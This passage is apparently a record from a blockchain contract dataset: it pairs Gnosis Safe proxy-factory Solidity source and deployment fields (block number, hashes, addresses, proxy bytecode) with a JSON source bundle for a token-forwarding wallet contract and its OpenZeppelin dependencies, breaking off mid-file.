/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,259 |
329721cc0e88b9ba286947fd2ca0ccb7fda0c1f3de71fa12c60b462ee3cde852
|
fb11d00244e06f6956a7f721f3dd95ce3d02df8bedde5984a5e7b7e808b9eb46
|
41ed843a086f44b8cb23decc8170c132bc257874
|
29ef46035e9fa3d570c598d3266424ca11413b0c
|
dc93103fab45be6ddd65e12e044e5b658d26ce1f
|
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function 